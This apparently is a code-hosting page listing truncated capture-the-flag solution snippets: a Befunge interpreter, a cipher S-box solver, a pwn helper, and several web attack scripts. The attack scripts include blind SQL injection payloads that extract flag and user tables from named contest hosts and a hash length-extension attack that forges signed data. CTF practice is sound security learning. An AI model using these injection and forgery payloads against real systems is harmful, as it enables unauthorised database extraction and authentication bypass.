View compare.py
import re
import requests
import urlparse
from bs4 import BeautifulSoup
def is_number(s):
if not s.isdigit():
raise argparse.ArgumentTypeError('{0} is not a number'.format(s))
return s
View compare.py
import requests
import urlparse
from bs4 import BeautifulSoup
def is_number(s):
if not s.isdigit():
raise argparse.ArgumentTypeError('{0} is not a number'.format(s))
return s
def get_content(url, team):
View befunge.py
import random
import sys
class Stack:
def __init__(self):
self.stack = []
def append(self, v):
self.stack.append(v)
View solve.py
import requests
import urllib.parse
def check(s):
return b"Don't let your dreams be dreams!" in s
url = 'http://78.46.224.75/quote/'
query = '(select substring(y from {} for 1) <= binary 0x{:x} from (select * from (select 1 u)a join (select 2 x)b join (select 3 y)c join (select 4 z)d union select * from flag)f where y like 0x253333433325 limit 1)'
i = 1
View pwn.py
import struct
from subprocess import *
def p64(x):
return struct.pack('<Q', x)
def u64(x):
return struct.unpack('<Q', x)[0]
def read_until(f, s):
View solve.c
// gcc -O3 solve.c -o solve
#include <stdio.h>
int sBox[4][16] = {
{ 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9 },
{ 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6 },
{ 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14 },
{ 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3 }
};
int sBoxInv[4][16] = {
{ 13, 3, 0, 10, 2, 9, 7, 4, 8, 15, 5, 6, 1, 12, 14, 11 },
View solve.py
import time
import hashpumpy # https://github.com/bwall/HashPump
import requests
from urllib.parse import quote
url = 'http://web.angstromctf.com:1340/'
t = hex(int(time.time()))[2:]
hash, data = hashpumpy.hashpump('3eb9feb38c75cae1d4526ba7f7b91393b190ef48d5bd3502711a1fc23cba2ff3', '5709b5ed', t, 64)
print(requests.post(url, data={
'data': quote(hash.encode() + data).replace('%80', '%C2%80')
}).content.decode('ascii'))
View solve.py
import requests
def check(s):
return b'1108' in s
payload = "1 Procedure Analyse (Extractvalue (0, case when (Select substr(c.b, {}, 1) <= 0x{:02x} From (Select 0x41 a,0x42 b Union Select * From users limit 1 offset 3)c) then 0x2f else 0x40 end), 1)#".replace(' ', '%a0').replace('#', '%23')
url = 'http://spacesec.quals.nuitduhack.com/index.php?offset='
result = ''
i = 1
View a.js
['2 1 14 16 23 20', '2 1 15 6 4 23', '2 1 15 6 8 6'].forEach(function (s) {
console.log(parseInt(s.split(' ').map(function (n) {
return parseInt(n, 10).toString(25);
}).join(''), 25));
});